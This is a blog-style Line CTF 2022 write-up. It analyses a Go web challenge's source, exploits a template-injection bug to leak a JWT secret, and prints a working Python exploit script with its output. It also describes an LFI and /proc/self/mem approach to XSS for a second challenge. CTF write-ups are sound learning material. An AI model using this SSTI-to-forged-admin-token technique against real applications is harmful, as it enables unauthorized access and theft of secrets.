Line CTF 2022 Write Up

Posted on Mar 27, 2022

Summary

I participated a Line CTF 2022 this saturday and I only solved the one challenge in this ctf.

So I am very not good. Just get a stress. So I decided not to participate the CTF from today. I always think like: When we live the life, must do a lot of things. Oh, I’m not quitting IT. I just want to try different things. Still, if I don’t like it, I’ll find another job.


(Web) gotm

The gotm is challenge that get the flag using a JWT of admin. And goth challenge was created using Golang.

func main() {
	admin := Account{admin_id, admin_pw, true, secret_key}
	acc = append(acc, admin)

	http.HandleFunc("/", root_handler)
	http.HandleFunc("/auth", auth_handler)
	http.HandleFunc("/flag", flag_handler)
	http.HandleFunc("/regist", regist_handler)
	log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))
}

If you look at the main() function, you can know that set the router like: /, /auth, /flag, /regist.

func flag_handler(w http.ResponseWriter, r *http.Request) {
	token := r.Header.Get("X-Token")
	if token != "" {
		id, is_admin := jwt_decode(token)
		if is_admin == true {
			p := Resp{true, "Hi " + id + ", flag is " + flag}
			res, err := json.Marshal(p)
			if err != nil {
			}
			w.Write(res)
			return
		} else {
			w.WriteHeader(http.StatusForbidden)
			return
		}
	}
}

First of all, If you look at the condition that bring a flag, If the is_admin of JWT is true, you can bring the flag.

func regist_handler(w http.ResponseWriter, r *http.Request) {
	uid := r.FormValue("id")
	upw := r.FormValue("pw")

	if uid == "" || upw == "" {
		return
	}

	if get_account(uid).id != "" {
		w.WriteHeader(http.StatusForbidden)
		return
	}
	if len(acc) > 4 {
		clear_account()
	}
	new_acc := Account{uid, upw, false, secret_key}
	acc = append(acc, new_acc)

	p := Resp{true, ""}
	res, err := json.Marshal(p)
	if err != nil {
	}
	w.Write(res)
	return
}

But, When I look at the regist_handler() function, I could know that I cannot make the is_admin of JWT as true because it’s adds the is_admin as false.

func auth_handler(w http.ResponseWriter, r *http.Request) {
	uid := r.FormValue("id")
	upw := r.FormValue("pw")
	if uid == "" || upw == "" {
		return
	}
	if len(acc) > 1024 {
		clear_account()
	}
	user_acc := get_account(uid)
	if user_acc.id != "" && user_acc.pw == upw {
		token, err := jwt_encode(user_acc.id, user_acc.is_admin)
		if err != nil {
			return
		}
		p := TokenResp{true, token}
		res, err := json.Marshal(p)
		if err != nil {
		}
		w.Write(res)
		return
	}
	w.WriteHeader(http.StatusForbidden)
	return
}

Even when logging in, it cannot be manipulated because the stored is_admin is used.

func root_handler(w http.ResponseWriter, r *http.Request) {
	token := r.Header.Get("X-Token")
	if token != "" {
		id, _ := jwt_decode(token)
		acc := get_account(id)
		tpl, err := template.New("").Parse("Logged in as " + acc.id)
		if err != nil {
		}
		tpl.Execute(w, &acc)
	} else {

		return
	}
}

However, an SSTI vulnerability occurs in the index. This is because the ID value is passed raw to the template engine. Here, if a payload such as {{ . }} is used, the values of all elements of the currently logged in user can be output.

type Account struct {
	id         string
	pw         string
	is_admin   bool
	secret_key string
}

Since the structure of Account is the same as above, you can have the secret_key by using the SSTI vulnerability. So just leak secret_token, set is_admin of JWT to true and generate token. And you can use that token to get the flag.

import requests
import jwt

CHALL_URL = "http://34.146.226.125"
#CHALL_URL = "http://localhost:11000"

USERNAME = "{{  .      }}"
PASSWORD = "dummy"
SESSION = requests.Session()
def REGIST(ID, PW):
    data = {'id':ID, 'pw':PW}
    try:
        res = SESSION.post(CHALL_URL + '/regist', data=data).json()
        if res['status'] == True:
            print(f'[+] Register Success : {ID}')
        else:
            print('[+] 500 Inter Server Error')
    except:
        print('[+] 500 Inter Server Error')

def LOGIN(ID, PW):
    data = {'id':ID, 'pw':PW}  
    try:
        res = SESSION.post(CHALL_URL + '/auth', data=data).json()
        if res['status'] == True:
            token = res['token']
            print(f'[+] TOKEN : {token}')
            header = {'X-Token':token}
            SECRET_KEY = SESSION.get(CHALL_URL, headers=header).text.split('false ')[1].replace('}', '')
            return SECRET_KEY
        else:
            print('[+] 500 Inter Server Error')
    except:
         print('[+] 500 Inter Server Error')

def FLAG(ADMIN_TOKEN):
    header = {'X-Token':ADMIN_TOKEN}
    RESULT = SESSION.get('http://34.146.226.125/flag', headers=header).json()
    FLAG = RESULT['msg'].split('flag is ')[1]
    print(f'[-] FLAG : {FLAG}')

def JWT_ENCODE(ID, SECRET_KEY):
    AccountClaims = {
        "id": ID,
        "is_admin": True
    }
    jwt_token = jwt.encode(key=SECRET_KEY, algorithm='HS256', payload=AccountClaims)
    return jwt_token

if __name__ == '__main__':
    print('[+] Exploit')
    REGIST(USERNAME, PASSWORD)
    print('[+] Leak the SECRET_KEY')
    SECRET_KEY = LOGIN(USERNAME, PASSWORD)
    print(f'[-] SECRET_KEY : {SECRET_KEY}')
    print('[+] Generate the JWT of ADMIN')
    ADMIN_JWT = JWT_ENCODE(USERNAME, SECRET_KEY).decode('utf-8')
    print(f'[-] ADMIN_JWT : {ADMIN_JWT}')
    print('[+] Leak the FLAG')
    FLAG(ADMIN_JWT)

I wrote the exploit code as above.

❯ python3 exploit.py
[+] Exploit
[+] Register Success : {{  .      }}
[+] Leak the SECRET_KEY
[+] TOKEN : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7ICAuICAgICAgfX0iLCJpc19hZG1pbiI6ZmFsc2V9.thRcBQoJEZUgNF04UMNBYjzww7307fKjCF514rJ0k-0
[-] SECRET_KEY : fasdf972u1031xu90zm10Av
[+] Generate the JWT of ADMIN
[-] ADMIN_JWT : eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Int7ICAuICAgICAgfX0iLCJpc19hZG1pbiI6dHJ1ZX0.ORLfPXc2HWIjMsORBcoRCRVbsiDJCWC_kntbOAOWXhw
[+] Leak the FLAG
[-] FLAG : LINECTF{country_roads_takes_me_home}

(Web) online-library

The online-library is a challenge to trigger XSS using a memory dump file. I have tried this challenge for over 10 hours. Since the LFI vulnerability occurs in this challenge, I tried to insert and trigger an XSS PoC in the log using log poisoning. So I deployed the challenge with docker, and kept looking for all the log related files.

I’ve been trying to use /proc/self/fd/N for the last 3-4 hours. But this didn’t work either. I couldn’t figure out how to overwrite the log. I felt very very bad for not being able to solve this challenge. After CTF ended, I found out that it was to trigger XSS by using the node.js request memory dump overwritten in /proc/self/mem. I didn’t even think of this because I wasn’t interested. I didn’t even know before. So the scenario is to just send a request containing the XSS PoC to the web server, and then read the memory dump of the request I sent while increasing the size in the /proc/self/mem file.

00400000-0489c000 r-xp 00000000 08:20 44576             /usr/local/bin/node
04a9c000-04a9f000 r--p 0449c000 08:20 44576             /usr/local/bin/node
04a9f000-04ab7000 rw-p 0449f000 08:20 44576             /usr/local/bin/node
04ab7000-04ad8000 rw-p 00000000 00:00 0 
069a7000-0745c000 rw-p 00000000 00:00 0                 [heap]
5f730c0000-5f73100000 rw-p 00000000 00:00 0 
f5af4c0000-f5af500000 rw-p 00000000 00:00 0 
146cd280000-146cd2c0000 rw-p 00000000 00:00 0 
16dc38c0000-16dc3900000 rw-p 00000000 00:00 0 
19f05fc0000-19f06000000 rw-p 00000000 00:00 0 
1e7c0fc0000-1e7c1000000 rw-p 00000000 00:00 0 
2cdbd900000-2cdbd940000 rw-p 00000000 00:00 0 
2eccf1c0000-2eccf241000 rw-p 00000000 00:00 0 
2ff788c0000-2ff78900000 rw-p 00000000 00:00 0 
350437c0000-35043800000 rw-p 00000000 00:00 0 
3d769400000-3d769440000 rw-p 00000000 00:00 0 
423fd100000-423fd140000 rw-p 00000000 00:00 0 
4327af80000-4327afc0000 rw-p 00000000 00

In fact, In /proc/self/maps, which contains the heap address of virtual memory, I could see that there is the heap address of node.js. I could see that I also have write permission with rw-p. These things are very important. In order for us to hack the web, we need to know these things well. Knowing only simple vulnerability exploitation methods cannot grow. (jjeob)